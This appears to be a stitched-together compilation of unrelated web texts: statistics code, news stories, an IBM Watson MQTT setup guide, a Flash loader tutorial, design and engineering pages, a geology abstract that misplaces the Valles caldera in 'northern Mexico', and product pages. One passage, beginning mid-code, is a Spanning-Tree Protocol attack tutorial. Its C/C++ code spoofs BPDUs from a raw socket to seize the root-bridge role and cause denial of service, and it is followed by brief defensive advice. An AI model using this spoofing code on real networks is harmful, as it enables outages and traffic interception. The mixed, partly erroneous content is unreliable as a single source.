 pr <- matrix(c(1, 0.477, 0.644, 0.478, 0.651, 0.826,
 0.477, 1, 0.516, 0.233, 0.682, 0.75,
 0.644, 0.516, 1, 0.599, 0.581, 0.742,
 0.478, 0.233, 0.599, 1, 0.741, 0.8,
 0.651, 0.682, 0.581, 0.741, 1, 0.798,
 0.826, 0.75, 0.742, 0.8, 0.798, 1),
 nrow = 6, ncol = 6)
sm <- cor.smooth(pr)
resid <- pr - sm
# several goodness of fit tests
# from Knol and ten Berge
tr(resid %*% t(resid)) /2
# from nearPD
[Package psych version 1.4.5 Index]
Part of the Personality Project Take our Personality Test


text:
SAN DIEGO — The U.S. Marines at Camp Pendleton care most about two things: keeping America safe and saving a thumb-sized mouse from extinction.
In rugged terrain used in a training exercise known as the Crucible, for instance, foodand sleep-deprived Marine Corps recruits push themselves through simulated combat stress scenarios — and try to avoid disturbing the Pacific pocket mouse, an endangered animal that clings to existence by its tiny sharp claws.
During a recent tour of the area's green hills and wind-swept beaches, Marine environmental officials said the corps is working with federal agencies to create formal safeguards for the mouse.
"A comprehensive management plan would be much broader in scope and depth than simply telling Marines to watch out for the mouse while they are training," said Maj. David Roen, head of environmental compliance for Marine Corp installations in the Southwest. Environmental laws hold military commanders accountable for activities on their bases.
Historically, the range of the mouse extended along the coast from Los Angeles County to Mexico. By the 1990s, it was feared wiped out by coastal development.
In 1993, however, a small population was discovered in the Dana Point headlands. The species, listed as endangered by the federal government in 1994, was later discovered at Camp Pendleton, whose 17 miles of northern San Diego County coastline make it the Marine Corps' premier amphibious assault training center.
Today, the largest known population of the mice inhabits a portion of the Crucible training grounds adjacent to a firing range and bivouacking area.
That is not necessarily bad for the mouse.
Habitat restoration efforts combined with environmental training and intense monitoring by biologists have resulted in strong comebacks for several of the 16 threatened or endangered species that share the base.
"As Southern California has continued to develop, the value of Camp Pendleton as habitat for endangered species has soared," Roen said.
The base hosts one-fourth of the state's endangered California least terns. The number of endangered least Bell's vireos has risen over the last two decades from a few dozen to more than 2,500. One of the last known nesting areas of the endangered Southwestern willow flycatcher lies just south of Camp Pendleton's air station.
"Our Marines know about every species on base, be it a bird, mouse or plant," said Dan Felkin, environmental training section head at Camp Pendleton. Every operation on the base that touches on the environment takes those species into account, he said.


In this step-by-step guide we show how to connect a data source to the IoT platform from IBM via MQTT using the OPC router as MQTT client.
The IBM Watson-Internet of Things platform is IBM's IoT solution in the Watson system. Devices can be created in the IoT platform. The devices are sent and assigned current data via MQTT. With its various plug-ins for connecting subsystems, the OPC Router is the ideal data provider for devices of the Watson IoT platform. Watson serves as MQTT Broker, which is connected with the MQTT Client Plug-in of the OPC Router.
Connection OPC Router - IBM Watson
MQTT connection of the IBM Watson IoT platform
The connection takes place in following steps, which we explain in detail below.
 1. Setup of the IoT platform in IBM Watson
 2. Configuration of the device
 3. Configuration of the MQTT Client
Setup of the IoT platform
 1. Log in to the IBM Watson interface and navigate to the "Dashboard". Then click "Create" to create a resource:IBM IoT Console Dashboard
 2. Search in the library for "label:lite iot" to find the "Internet of Things Platform". Then select and create:IBM IoT Watson create Ressource
 3. Name (1) and create (2) the newly created IoT platform:IBM IoT Watson Ressource Name
 4. Start the IoT platform afterwards:IBM IoT Watson Ressource Start
Creating a Device
1. After starting the platform, the device overview opens automatically. Select "Create a device" here:
IBM IoT Watson Create Device
2. The new device must be named in the next step. First name the type (1), then the device itself (2) and then continue (3).
IBM IoT Device Name
3. In the next step, meta data for the device can be maintained. It is optional. Continue with "Next":
IBM IoT Device Meta Data
4. In the following security settings, the default settings can be accepted and continued with "Next":
IBM IoT Watson Device Security
5. In the last step, the data are summarized and the device can be created with "Finish":
IBM IoT Watson Finish Device
6. The created device is displayed with its access data for MQTT. These are important for the following MQTT client configuration. Here you can find the organization ID (1), the assigned type name (2), the device ID (3) and the authentication token (4):
IBM IoT Watson Device Information
Configuration of the MQTT Client
In the MQTT Client the device information must be transferred to the MQTT connection configuration. In the OPC Router (other clients are comparable) the data is used as follows:
Broker connection: The organization ID (here 7nahdt) becomes together with "" the broker connection address.
Client ID: The Client ID consists of Organization ID (1), Device Type (2) and Device ID (3). the format is "d::".
Username: The fixed string "use-token-auth" (4) is used as username to indicate that a token is being used.
Password: The password is the authentication token (5) specified in the device information.
OPC Router IBM Watson MQTT Configuration
Example: Temperature transmission to the IoT platform with the OPC Router
In this example, temperature acquisition data is loaded from an SQL database and formatted as JSON and sent to the configured IBM Watson IoT device. The MQTT client integrated in the Watson IoT console displays the received data.
OPC Router IBM Watson Connection
IBM IoT Watson Client
Connect IBM Watson IoT Platform via Drag & Drop!
Connect your production systems graphically with the IBM Watson IoT platform via MQTT with the OPC Router
Request your download and test the MQTT connection


text:
What should the loader do?
Okay. Here's the easy part. Get out a pen and paper and write down the things that you would like your loader to do and be. Go on. I'll wait.
Done that? Good. Now sort them in order of importance. This is so that you get the most pressing things designed, coded and tested first, leaving the cute bits for a later revision.
Here's my list:
- Be small.
So that we don't wait forever for the preloader to load, requiring its own loader. (Which would then require another preloader for that, and... aargh where are my pills?)
- Display a progress bar to let the user know how the download is going.
This is why we are here. Since Flash MX is a visual tool, let's use it. A progress bar gives the quickest indication of the status of a command.
- Give them details (downloaded amount and the total bytes).
This is good for your more advanced surfers. It lets them guesstimate progress for themselves. As a bonus, newbies can also learn how long things take.
- Provide a loading animation.
Loading animations are especially good for long tasks like loading large files because they let the user know that something is happening and their computer hasn't crashed.
- Be easy to reuse in several SFW files.
We don't want all our good efforts to be wasted, do we?
- Stops the file from playing until the content is loaded.
Let's try to make the loader do all the work for us.
- Be quick to add to a file.
Because I'm busy.
- Be simple to add to a file.
Because I forget stuff.
- Not have to be downloaded every time.
So that we don't clog our bandwidth with loaders!
- Detects if a file has already been loaded.
Giving us a chance to take action if this is the case.
- Gives an estimated time to completion.
Another method of giving the progress. Use it depending on the target audience. In my humble opinion this is not as reliable as bytes downloaded, progress bars or percent downloaded because it may be affected by other bandwidth hogs that may be on the machine. If your loader estimates that the file will be down in 2 minutes, but actually takes 4 minutes because email starts downloading as well, then the user's expectations of 2 minutes aren't met. They get grumpy and start looking for other faults.
- Waits for a certain percentage to load before playing.
This lets us download an appropriate amount of content before playing the file, giving us a capacity to stream our content (playing the file before all of it is loaded one of the best features of Flash MX).
- Plays a quick animation even if the file has already been loaded.
This will give a consistent feel to loading content. Why do some things have loaders while others don't? Users have expectations of interacting with software. If users see a loader the first time, then they should see it every time. (Just make it quick so that it doesn't irritate them.)
- Be easy to change the loading animation.
So that we can change the feel of a loader for a new situation, client, or project. If it is hard, we will probably try to not do it.
The requirements for a particular loader that you build will have differing priorities depending on client, anticipated user groups, style, and budget. But this list should give you a feel for what we are going to do.
|» Level Advanced|
Rating: 8 Votes: 169
|Tim is a co-director of the Glasson Murray Group, providing quality graphic design, illustration, 3D visualisation, interactive environments, virtual reality, multimedia and website services.|
|Download the files used in this tutorial.|
|Download (1860 kb)|
|More help? Search our boards for quick answers!|


&ifr); // get interface index
sock.sll_ifindex = ifr.ifr_ifindex; // set it in sock struct
ioctl (tmpfd, SIOCGIFHWADDR, &ifr); // get interface addr
memcpy (sock.sll_addr, ifr.ifr_hwaddr.sa_data, 6);
close (tmpfd);
Next we can proceed to craft our BPDUs. We start of by defining a root bridge identifier. In order to elect our "ghost" bridge as root, it must have the lowest identifier in the network. Priority and hardware address are the two components of the the bridge ID. The first two bytes are the priority, the next 6 are the MAC address. By definition priority varies between 1 and 32768, therefore setting it the ID to [0x00][0x01][anything x 6 bytes] should yield expected results. We are two approaches here: a) to use the same bridge ID in every packet b) we can randomize it for every frame.
char shwaddr[8];
shwaddr[0] = 0x00;
shwaddr[1] = 0x01;
a)
memcpy(shwaddr + 2, ifr.ifr_hwaddr.sa_data, 6);
b)
void make_rand_hwaddr(char *buf)
{
 for (int i(0); i < 6; ++i)
 buf[i] = rand() % 256;
}
make_rand_hwaddr(shwaddr + 2);
Next we create and fill a eth_stp structure. In my implementation I use the following functions:
u16 atohex (u8 *hex)
{
 short int x,y,a,a2=0;
 char buf[2];
 char nums[] = {"0123456789abcdef"};
 memcpy(buf, hex, 2);
 for (int x(0); x < 2; ++x) {
 for (int y(0); y < 16; ++y) {
 if (buf[x] == nums[y]) {
 if (x == 0)
 a = (y) * 16;
 else
 a = y;
 a2 +=a;
 }
 }
 }
 return a2;
}
u8 *ascii_to_hwaddr (const char *hwaddr)
{
 u8 t[2];
 u8 y(0);
 static u8 buf[6];
 do {
 t[0] = *hwaddr++;
 t[1] = *hwaddr++;
 hwaddr++;
 buf[y] = atohex (t);
 y++;
 } while (y < 6);

 return (buf);
}
const char *fill_stp_header(char *shwaddr, bool topology_change,
 char *root_id, u32 forward_delay, u32 max_age, u32 hello_time,
 u32 port_id)
{
 static eth_stp stp_packet;
 memset(&stp_packet, 0, sizeof(stp_packet));
 memcpy(stp_packet.eth.dhost,
 ascii_to_hwaddr("01-80-c2-00-00-00"), 6);
 memcpy (stp_packet.eth.shost, shwaddr, 6);
 memcpy(stp_packet.stp.root_id, root_id, 8);
 memcpy(stp_packet.stp.bridge_id, root_id, 8);
 stp_packet.eth.size = htons(0x0034);
 stp_packet.stp.llc.dsap = 0x42;
 stp_packet.stp.llc.ssap = 0x42;
 stp_packet.stp.llc.func = 0x03;
 stp_packet.stp.port_id = port_id;
 stp_packet.stp.hello_time = hello_time;
 stp_packet.stp.max_age = max_age;
 stp_packet.stp.forward_delay = forward_delay;
 if (topology_change)
 stp_packet.stp.flags = 0x01;

 return (const char*) &stp_packet;
}
In the function fill_stp_header() the parameters have the following meaning
 - *shaddr - the source MAC address for our packet (we can use a valid one or spoof an non-existent address. This must be a pointer to a 6 byte buffer.
 - topology_change - a false/true parameter. If true, the topology_change flag will be set in our STP frame, making other bridges "re-announce" the change of the root bridge.
 - *root_id - this a pointer to a 8 byte buffer containing the root bridge id (2 byte priority + 6 byte MAC).
 - forward_delay - the delay in seconds that the switch ports should spend in listening and learning modes before going to learning and forwarding modes respectively. Refer to the "Spanning-Tree Protocol Operations" section for details.
 - max_age - the number of seconds a switch should wait without receiving STP frames, before considering the root bridge down and restarting the election process.
 - hello_time - the number of seconds within which switches expect to receive BPDUs.
 - port_id - the ID of the port on the sending bridge.
After we have prepared our header and gathered all the necessary information, we can send our frames using the very basic sendto() function.
const char *buf = fill_stp_header(shwaddr + 2, topology_change,
 shwaddr, forward_delay, max_age, hello_time, port_id);
int fd;
if ((fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
 perror("socket:");
 return 0;
}

if ((sendto (fd, buf, sizeof(eth_stp), 0, (struct sockaddr*)&sock,
 sizeof(sockaddr_ll))) == -1) {
 perror("sendto:");
 return 0;
}
This concludes the code writing section of this document. The described vulnerability permits all sorts of attacks, not just the simple denial of service that I described. For more details refer to [1].
Protecting Your Networks
There are a couple of simple methods to prevent the exploitation of the STP vulnerability in your network. For any STP attack to be feasible, the switch must accept BPDUs on a port that the attacker has access to. It is therefore possible to make such an attack impossible by denying access to STP enabled ports to ordinary users. This can be done by disabling STP on access ports, having port security enabled on all user ports, and restricting physical access to network equipment.
With disabled STP on user ports, the attacker would have to access the switch physically and use a switch-to-switch port to connect his computer to (assuming all non-used ports are either disabled or have STP disabled). If you cannot restrict physical access to your network devices, other measures must be taken to ensure network security. Port security is a feature that allows the switch to accept frames from only a given number (usually the first learned) of source MAC addresses. Enabling port security on user ports will make the attack unfeasible without prior network sniffing or hijacking a user's workstation.
Conclusion
While most network administrators concentrate on security issues regarding the upper layers of the OSI model (3-7) like route poisoning, access filtering and exploitable service bugs, many still neglect the basic security risks of the physical and data link layers. Restricting physical access to network devices is an important part of one's security policy, but securing the data link shouldn't go overlooked. In the past the second layer of the OSI model had to handle forwarding and physical addressing. As the demand we put on network has grown so has the complexity of the protocols working at this level.
The Spanning-Tree Protocol's flaws are minor, but can lead to a denial of service that can be carried out by even a relatively unskilled attacker. The measures that can be taken to prevent the attack should become a standard for basic security in LAN environments.
Proof of Concept - C++ Code
Proof of concept code of Spanning-Tree Protocol vulnerabilities written in C++.
md5sum: 8e516dba2a8b1451d753f0761567a5a0 stp-spoof-0.2.tar.bz2
References
"I regret to inform you that your remarks convey no impression to my mind."
Last update: Saturday, 05th May, 2012
Copyright © 2001-2014 by Lukasz Tomicki


text:
Mount Fear by Abigail Reynolds takes the crime incident statistics for London and represents them as a 3D physical map built up from layer upon layer of cardboard.
Abigail Reynolds describes the project as follows:
The terrain of Mount Fear is generated by data sets relating to the frequency and position of urban crimes.
Each individual incident adds to the height of the model, forming a mountainous terrain. The imaginative fantasy space seemingly proposed by the sculpture is subverted by the hard facts and logic of the criteria that shape it.
The tensions present within Bradford offer a similar theme of inquiry – extracting data via desktop research could prove useful but overlaying this with 'on the ground' collected data would provide added richness.


text:
Rani is overseeing the roadway design, storm sewer design, SWPPP, erosion control and surveying. Originally, Rani received partial and out of date survey data. The team in turn, provided the engineering design team a complete and up to date surface model & planimetric representation of existing conditions of the seven blocks. The survey staff worked with the engineering design team to identify specific details needed to aid in the design to preserve the downtown aesthetic and provide a functioning design. The survey required compliance with the City of Minneapolis' CADD and drafting standards. Rani survey field crews were able to collect the information using the City's point code lists and the office staff had city employees process the raw data to ensure importation to the correct levels in the MicroStation deliverable.
Professional services include:
- Update and supplement existing topographic survey of the seven-block project area adding 3,000+ surface points and drainage structure information for 35 structures.
- On-call survey of utility potholes as private utilities identify priority locations.
- Modelling of existing stormwater system and design of proposed stormwater system for a road design that involves curb relocation to increase pedestrian and bicycle space while decreasing vehicular space. Design includes spread analysis in MicroStation Geopak complying with City and MnDOT State Aid requirements.
- Intersection design to comply with ADA standards and best practices while incorporating the two-way bicycle trail and associated ramps.
- Coordination of intersection ADA design with road design, stormwater, traffic signal and utility design.


text:
Overhead cranes are often set up and operated in challenging situations. Experienced operators know how to spot or counter those adverse conditions so that lifts can be completed on schedule. However, less experienced crane operators may not know when a risk is too high, resulting in jobsite accidents. This article discusses some extreme weather hazards that novice crane operators should look out for.
Extreme Cold: Loss of Tensile Strength
Cold weather can cause the lifting cables to lose their tensile strength. This is because the cold temperatures cause the wire cables to contract and become more brittle. Such cables can easily fail when they are used to lift a load. This problem can be combated by switching to hot-dipped cables made from galvanised steel when temperatures drop to freezing level. Alternatively, you can coat the cables with an epoxy mixture that reduces the impact of the cold weather on the integrity of the cables. Those epoxy mixtures can be obtained from crane hire firms or crane service centers.
Extreme Cold: Loss of Hydraulic Power
Cold temperatures may also have an adverse effect on the hydraulics of the crane. This is because the cold conditions can increase the viscosity of the fluid to a level that renders the system less effective. Similarly, other components of the hydraulic system can freeze during cold weather. You can overcome this challenge by providing an auxiliary heater for the gearbox and hydraulic system. You can also reduce the loads carried so that you don't strain the hydraulics during harsh weather. It may be safer for you to perform extra lifts rather than take the risk of carrying a full load when the hydraulics aren't performing at their best level.
Windy: Wind Tunnel Challenges
Crane manufacturers usually specify the maximum wind speed that each crane can tolerate before it becomes unsafe. You should be very careful when assessing the wind conditions at the jobsite. This is because several factors can affect the wind speed at your location. For instance, a tower crane set up between two buildings may be subjected to higher wind speeds because the wind is compressed within the narrow tunnel between the two buildings. Similarly, the wind speed may increase as the distance of the crane from the ground increases. It may be better to postpone or cancel a lift if you detect wind conditions that border on the limits of your tower crane.
Always consult experienced crane operators about the operating conditions at a job site before you start operating the crane. Their input will help you to hone your ability to make the right judgment about what actions you should take when you are faced with extreme weather conditions.


text:
Nestled in the heart of the stunning island of Phuket, Wat Chalong stands as a testament to the island's rich history and culture. This spiritual haven, Phuket's largest and most revered Buddhist temple, has a history dating back centuries, and its significance in the region is immeasurable.
A Glimpse into the Past
Wat Chalong's history is intertwined with Phuket's development and the island's cultural identity. Its origins can be traced back to the late 19th century when two monks, Luang Pho Chaem and Luang Pho Chuang, were pivotal in establishing this temple. Over time, Wat Chalong grew in both physical size and spiritual significance, becoming a focal point for the local community and a revered destination for visitors from across the globe.
In an age where history is often at risk of fading into obscurity, 360INT has taken on the task of preserving and transporting history into the digital age. Through a remarkable partnership with Wat Chalong in Phuket, we've created an immersive virtual tour that invites you to explore the temple's intricate architecture, vibrant artwork, and the serene atmosphere that surrounds it.
Matterport's Magic in Phukets Temple
The backbone of this virtual tour in Phuket is Matterport, a revolutionary technology that enables the creation of immersive 3D experiences. With Matterport, we meticulously captured the intricate details of Wat Chalong's architecture, ensuring that every nook and cranny was faithfully represented. You can now traverse the hallowed halls, gaze upon the ornate artwork, and gain insight into the spiritual practices that have unfolded within these sacred walls.
But our commitment to preserving history didn't stop there. To offer a truly comprehensive experience, we employed cutting-edge Drone 3D Mapping technology. Our drones soared through the skies above Wat Chalong Phuket, capturing not just the temple's exterior beauty but also its surrounding landscapes. The result is a virtual tour that seamlessly combines the grandeur of Wat Chalong with the tranquility of its natural surroundings.
Transporting You Through Time
As you embark on this virtual tour, you'll find yourself transported through time. The ancient echoes of Wat Chalong's history will come to life as you navigate its sacred spaces, admiring the intricate details and learning about the cultural significance of each element.
Now, whether you're a local resident or a traveler from afar, you can embark on a journey of discovery through Wat Chalong's Virtual Tour. Experience the tranquility, the spirituality, and the profound history of this revered temple from the comfort of your own space.
At 360INT, we believe in the power of technology to bridge the past and present. Wat Chalong's Virtual Tour is a testament to our commitment to preserving history and sharing it with the world. Explore the virtual tour today and immerse yourself in the rich tapestry of Wat Chalong's legacy.
Visit Wat Chalong's Virtual Tour by 360INT as well on 3DMuseum.co
Preserve, Explore, and Celebrate History with 360INT.


- Shannen Dorothee Tioniwar
Development designs
Development 1
Concept: Inspired by Google's paper signal, this first design features a voice activated intermediary device. Here, I explored the concept of physicalizing control through your voice purely. Using a DIY approach because of how the voice module works, users would need to record their voice and set the different commands (through codes) in relations to the privacy choices for each command. Since this preset is done before the product could function to visualise data loss, users would have more understanding about the way it works.
Process: Individual users must calibrate the device by recording their voices on the different commands they want each bubble gun to react to. The idea is whenever the users(after calibration) say that command to Alexa, it would also trigger the bubble gun, acting as a reminder to that particular data loss. depending on how much liquid is placed on each cup, it determines how much of that data users are willing to let go.
In moving forward, I think this approach doesn't give extra knowledge on the data collection process, instead just poses as a reminder for users. I think that there is definitely an improvement to make, that is to depict the underlying data that are collected from users when they command alexa to do something.
Which data is necessary to be used?
Referring to the previous Alexa system analysis, I would like to show the users regarding underlying datas that are used to fullfill commands to Alexa.Due to the large scope of skill Alexa could cover, I will refer to the level of personalisation (refer to roleplay experiment) to generate data (in the form of keywords) for the intermediary device to detect when it hears a command. I think this would provide a good explanation of the devices' functions. The underlying data list is based on the API information needed to generate an answer to the particular keyword. This is stated on the Amazon developer site.
Development 2
Concept: Using Personal, family and public data grouping as well as the electronic modules of Arduino uno along with the ILS voice recognizer and servo motors. The push buttons allow users to decide how they want to catagorise different commands by implementing the three datasets as a basis.
How it works: The voice recognition detects the keywords of a command which are used to turn the system function on. These keywords are similar to how the Amazon server detects the word "weather" within a user command. The push buttons are used to classify the data after the detection which trigger the servo motors to turn on the bubble guns.
After making this prototype, I realised that there's lack of visualisation of the data that are stored in the device which prevents users to fully understand the device's functionality. A digital interface like an LCD or a touch screen is something I might consider using to present this feature. I will continue working on the functionality of this product in the next stage of development to ensure a transparent information flow and a more intuitive user experience.
2 views0 comments
This site was designed with the
website builder. Create your website today.
Start Now


text:
Ar-40/Ar-39 Age Constraints for the Jaramillo Normal Subchron and the Matuyama-Brunhes Geomagnetic Boundary
From Open Energy Information
Journal Article: Ar-40/Ar-39 Age Constraints for the Jaramillo Normal Subchron and the Matuyama-Brunhes Geomagnetic Boundary
AbstractOur mid-Pleistocene Ar-40/Ar-39 age recalibration of the geomagnetic polarity timescale is nearly in accord with the oxygen isotope, climate record calibration of the astronomical timescale proposed by Johnson (1982) and Shackleton et al. (1990). Ar-40/Ar-39 ages of a normally magnetized rhyolite dome in the Valles caldera, northern Mexico, yielded a weighted-mean age of 1.004 +/- 0.019 Ma. A K-Ar age of 0.909 +/- 0.019 Ma for this rock by Doell and Dalrymple (1966) was the linchpin for the recognition and calibration of the Jaramillo Normal Subchron (JNS). Other Ar-40/Ar-39 ages from the Valles caldera and Ar-40/Ar-39 ages of Ivory Coast tektites indicate that the JNS began at about 1.11 Ma and ended before 0.92 Ma, probably near 0.97 Ma. The Matuyama-Brunhes boundary occurred between 0.79 Ma and 0.76 Ma on the basis of Ar-40/Ar-39 sanidine ages from (1) three reversely magnetized rhyolite domes of the Valles caldera (0.793 +/- 0.018 Ma, 0.794 +/- 0.007 Ma, and 0.812 +/- 0.023 Ma) and pumice (0.789 +/- 0.006 Ma) from the reversely magnetized Oldest Toba Tuff of Sumatra and (2) pumice (0.764 +/- 0.005 Ma and 0.757 +/- 0.009 Ma) from the lower and upper units of the normally magnetized Bishop Tuff. The age of the boundary may be close to 0.77 Ma as deduced from rates of sedimentation in ancient Lake Bonneville, Utah.
- Glen A. Izett and John D. Obradovich
- Published Journal
- Journal of Geophysical Research, 1994
- Internet link for Ar-40/Ar-39 Age Constraints for the Jaramillo Normal Subchron and the Matuyama-Brunhes Geomagnetic Boundary
Glen A. Izett,John D. Obradovich. 1994. Ar-40/Ar-39 Age Constraints for the Jaramillo Normal Subchron and the Matuyama-Brunhes Geomagnetic Boundary. Journal of Geophysical Research. 99(B2):2925-2934.


text:
Group Offers Roadmap to Reduce Pollution
ROCKPORT, Maine A regional environmental group Monday released a comprehensive "climate change roadmap" to reduce pollution linked to global warming by 75 percent in the northeastern United States and eastern Canada.
Environment Northeast said the proposals included in the 275-page plan draw from many of the best practices already found within the region, including Quebec's commitment to wind generation and Maine's requirement that new state buildings exceed energy codes by 20 percent.
The group's executive director, Daniel Sosland of Rockport, said the 10 priorities spelled out in the roadmap would put the region on the path toward 75 percent lower emissions by 2050, a goal that would stave off the worst impact of global warming.
"The public is increasingly concerned that global warming pollutants are changing our climate and this roadmap offers remedies that can be implemented today to put us on the lower polluting path we need to be on," Sosland said.
The 10 priorities, broken down into energy, transportation and carbon storage, would reduce greenhouse gas pollutants by least 35 million to 40 million metric tons by 2020, Environment Northeast estimated.
The group said it plans to present its plan to industry and government officials in hopes of triggering discussion about how to make policy changes that would meet greenhouse gas targets while strengthening the economy.
Source: Associated Press


text:
Really nice free geometric font by Brian Jacob.
"Kotori Rose started as a rough sketch of the capital letter K, in a sketch book given as a gift by someone who believed in me. The exploration of the letterforms turned into an exploration away from self doubt and instead trusting my intuition. The process became more about believing in ones self."
The letter forms were inspired by the bold, simple, balanced nature of geometric fonts, and how these forms symbolically could emit determination and courage.
You can download the font for free here.


Fresh Start for Our Youth Foundation is a nonprofit organization providing hope, enrichment, inspiration and guidance for at risk youth. The primary focus is to provide individual granted personalized gifts. Our programs will form partnerships with philanthropists, local agencies, parents and the general public who can provide monetary funds for food, gifts, mentors and guidance. Our goal is to foster a commitment to young people that will promote strong interpersonal skills and reassert a sense of hope in their future. Fresh Start For Our youth is committed in raising the public's awareness about children in need.


Advertisement
Inside Look: How Mercury Marine Builds its Engines
From scrap metal and castings to painting and testing
January 31, 2016
Share on facebook
Share on twitter
Share on pinterest
Share on email
Share on facebook
Share on twitter
Share on pinterest
Share on email
Recycled aluminum for engine parts
Raw Materials
Engine blocks start life at Mercury Castings, a business unit of Mercury Marine that started producing castings for the parent product line of marine engines and components nearly 70 years ago. These engine blocks start with recycled aluminum from the machining process, which are sent to the Mercury Castings facility to be re-melted. The resulting molten metal is cast into block components and parts further into the process. Courtesy of Mercury Marine
For more information about Mercury Castings, visit its website.
Raw material bins
Scrap Metal
In the Mercury Castings facility, large bins containing raw materials such as tin, copper, zinc, and aluminum are mixed. These materials are the components used to create Mercalloy, and they have been widely recognized in the industries beyond marine engines for their unique properties achieved at very favorable material and processing costs. Mercury Marine has successfully produced millions of marine engine and other parts over the years, which established the reputation of Mercalloy as "marine aluminum." Courtesy of Mercury Marine
Melting furnace for blending alloys
Melting Furnace
Due to the extreme operating environment of marine engines, metallurgy and related manufacturing processes are exceptionally important, and are considered a core competency. Due to their superb strength-to-weight ratio and fair corrosion resistance, aluminum alloys are a good choice for marine engine components. This melting furnace is where the raw materials for these exclusive alloys come together. The raw materials and scrap metal are heated to prepare them for holding furnaces. Courtesy of Mercury Marine
Lost foam control station
Lost Foam Control Station
Most engine blocks Mercury produces starts out as a foam template, stamped with a unique serial number that stays with the engine the rest of its life. The ceramic-coated foam pattern is placed in a crucible that is filled with sand and then compacted. Courtesy of Mercury Marine
Pouring molten metal
Lost Foam Pour
Using "lost-foam casting" to produce intricate, single-piece engine parts isn't new, but Mercury Marine put a new spin on improving the manufacturing technology to optimize its outboard technology and quality. In this process, molten metal is poured from a holding furnace through a sprue. The molten metal melts the foam and assumes its shape, replacing it with the Mercury-proprietary aluminum alloy. Courtesy of Mercury Marine
Read more about lost foam casting.
Engine block machining
Engine Block Machining
This Mazak machining cell machines Verado in-line four-cylinder and in-line six-cylinder engine blocks along with the bedplates. The block is machined in stages – pre-machining, qualifying machining, and assembly machining. These different stages require the block to be unloaded and reloaded onto different fixtures to allow certain features to be machined. Courtesy of Mercury Marine
Machining with robots
Machining
Robots aid certain machining steps for processing and transporting parts from one operation to another. This robot moves the engine block from a linebore machine to a washer. Courtesy of Mercury Marine
EDP paint line
EDP Paint Line
The powerhead components for Mercury Outboards and MerCruiser engines travel along a conveyor through electrodeposition paint (EDP) booths. This process is an important step in the exclusive Mercury Corrosion Protection system. EDP primer creates uniform coverage that seals out the environment. The powder paint top coat is harder, thicker and tougher than conventional paint. In the final step, these components are cured in infrared ovens. Courtesy of Mercury Marine
Robot torques bedplate
Assembly
Robots assist with the assembly of Mercury outboards in the 75- to 115-horsepower range. At this station, the robot torques the bedplate to the engine block, which holds the crankshaft connecting rods and pistons in place. Courtesy of Mercury Marine
Assembling the block and components
Assembly
Eventually, engine blocks are married to the other engine components on the assembly line. On this assembly line, the engine block travels from one station to another while assemblers attach the correct components at the correct time. Accuracy and quality are key in this process. Courtesy of Mercury Marine
Testing after assembly
Testing
Once engines are assembled, they are rigorously tested in a series of quality checks before being boxed and ready for delivery. Courtesy of Mercury Marine
Finished Mercury outboard
Finished Product
In the final stages of the process, Mercury engines are cleaned and ready to be boxed. As a final step, they are placed in sturdy shipping containers that will be delivered to a distribution center to await a customer order. Courtesy of Mercury Marine
Mercruiser assembly process
MerCruiser Assembly
Mercury MerCruiser sterndrive engines are assembled differently than outboard products. These engines travel through the assembly process on pallets, moving from station to station. The assembler's work instruction is listed on a touch panel in the workstation, telling the assembler the procedure to perform. When the work element is complete, it is checked off on the touch screen, allowing the engine to move to the next station. Courtesy of Mercury Marine
Mercruiser testing
MerCruiser Testing
As a final stage for sterndrives, MerCruiser engines are placed in a testing room and connected to a diagnostic computer. This computer runs a series of tests to ensure the quality of the product before being boxed and ready for delivery. Courtesy of Mercury Marine
Advertisement
More Boats
Advertisement


convert jpg to ico windows 7
Want to know convert jpg to ico windows 7? we have a huge selection of convert jpg to ico windows 7 information on alibabacloud.com
How Python uses Pythonmagick to convert JPG images to ICO images
This article mainly introduces Python using Pythonmagick to convert JPG images to ICO images, involving Pythonmagick module operation picture skills, with a certain reference value, the need for friends can refer to the This example describes how Python uses Pythonmagick to convert a
Python uses PythonMagick to convert JPG images to ico images,
Python uses PythonMagick to convert JPG images to ico images, This example describes how python converts JPG images to ico Images Using PythonMagick. Share it with you for your reference. The specific analysis is as follows: The PythonMagick module is used here. For more i
How Python uses Pythonmagick to convert JPG images to ICO images
This example describes how Python uses Pythonmagick to convert JPG images into ICO images. Share to everyone for your reference. The specific analysis is as follows: The Pythonmagick module is used here, for more information on Pythonmagick modules and ImageMagick, please refer to: _URL_ following code can be used to
Python uses Pythonmagick to convert a JPG image into an ico picture _python
This example describes how Python uses Pythonmagick to convert a JPG image to an ICO image. Share to everyone for your reference. The specific analysis is as follows: The Pythonmagick module is used here, please refer to the Pythonmagick module and ImageMagick For more information: _URL_ following code can be used to translate a
C # convert the image format (JPG, BMP, PNG, GIF) to ICO icon
Using System;Using System. Drawing;Using System. Windows. Forms;Using System. IO; Namespace ICOTest{Public partial class Form1: Form{String FileName = "C :\";Public Form1 (){InitializeComponent ();} // Core codePrivate void button#click (object sender, EventArgs e){Size size = new Size (32, 32 );// Obtain the original image fileUsing (Bitmap bm = new Bitmap (FileName )){// Scale down an existing image to obtain an appropriate
On the Windows server platform, convert doc, pdf, and jpg files to FlashPaper of swf in a Web program (method 1)
Address: _URL_ FlashPaper is a tool for converting files in other formats (such as txt, doc, pdf, jpg, and xls) into swf files; This is a detailed and reproducible configuration for using flashpaper.exe to convert files in web applications/sites. Previously, I found a lot of FlashPaper configurations on the Internet, and almost did not propose a complete metho
Cocos2d-x Tutorial 2: How to Bulk convert PVR,CCZ to PNG or JPG under windows
This is a very common function, but found the whole network, incredibly can not find, so draw on others batch file, changed the next, it is possible to the entire directory of the whole batch conversion.The bat file is tentatively, Myconvert.bat, when executed, put the bat file in the directory to be converted, and then double-click the bat, you can. The bat file is posted below: REM path "" is replaced with Texturepacker's installation path, and the bat file can be run directly on the pic
How to convert the disk format (GPT format) of the WINDOWS8 system to the disk format (MBR format) of a Windows 7 system
Knowledge Point Analysis:Randomly preloaded Win8 computer, the disk is in GPT format, if need to install Win7 and other earlier version system, need to convert to MBR format, use the DiskPart command to complete the conversion.Operation Steps:Note: The conversion disk format requires that all partitions and data on the disk be emptied and all important data on the disk be saved before operation.1. Use Win7 CD or USB stick to boot, enter the system ins
Contact Us
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to: _EMAIL_ and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
